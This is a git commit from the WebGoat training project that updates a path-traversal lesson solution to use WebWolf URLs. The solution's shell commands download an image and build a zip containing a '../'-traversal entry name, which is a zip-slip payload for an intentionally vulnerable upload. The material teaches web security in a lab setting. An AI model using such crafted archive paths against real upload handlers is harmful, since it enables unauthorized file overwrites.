Update the solution with WebWolf URLs
The new solution uses WebWolf paths as these will change automatically when a user start WebGoat on a different port. It no longer depends on the hardcoded port `8080`.
This commit is contained in:
parent
fcaa2d8589
commit
54e115aff0
@ -2,10 +2,10 @@
|
|||||||
|
|
||||||
First, let's create a zip file with an image inside:
|
First, let's create a zip file with an image inside:
|
||||||
|
|
||||||
[source]
|
[source, subs="macros"]
|
||||||
----
|
----
|
||||||
curl -o cat.jpg http://localhost:8080/WebGoat/images/cats/1.jpg
|
curl -o webwolf.jpg webWolfRootLink:images/wolf.png[noLink, target=images/wolf.png]
|
||||||
zip profile.zip cat.jpg
|
zip profile.zip webwolf.jpg
|
||||||
----
|
----
|
||||||
|
|
||||||
Now let's upload this as our profile image. We can see nothing happens as mentioned in the assignment there is a bug in the software, and the result we see on the screen is:
|
Now let's upload this as our profile image. We can see nothing happens as mentioned in the assignment there is a bug in the software, and the result we see on the screen is:
|
||||||
@ -23,7 +23,7 @@ First, create the directory structure:
|
|||||||
----
|
----
|
||||||
mkdir -p webGoatTempDir:temppath[]PathTraversal/username:user[]
|
mkdir -p webGoatTempDir:temppath[]PathTraversal/username:user[]
|
||||||
cd webGoatTempDir:temppath[]PathTraversal/username:user[]
|
cd webGoatTempDir:temppath[]PathTraversal/username:user[]
|
||||||
curl -o username:user[] http://localhost:8080/WebGoat/images/cats/1.jpg
|
curl -o username:user[].jpg webWolfRootLink:images/wolf.png[noLink, target=images/wolf.png]
|
||||||
zip profile.zip ../../../../../../../..webGoatTempDir:temppath[]PathTraversal/username:user[]/username:user[].jpg
|
zip profile.zip ../../../../../../../..webGoatTempDir:temppath[]PathTraversal/username:user[]/username:user[].jpg
|
||||||
----
|
----
|
||||||
|
|
||||||
|
Loading…
x
Reference in New Issue
Block a user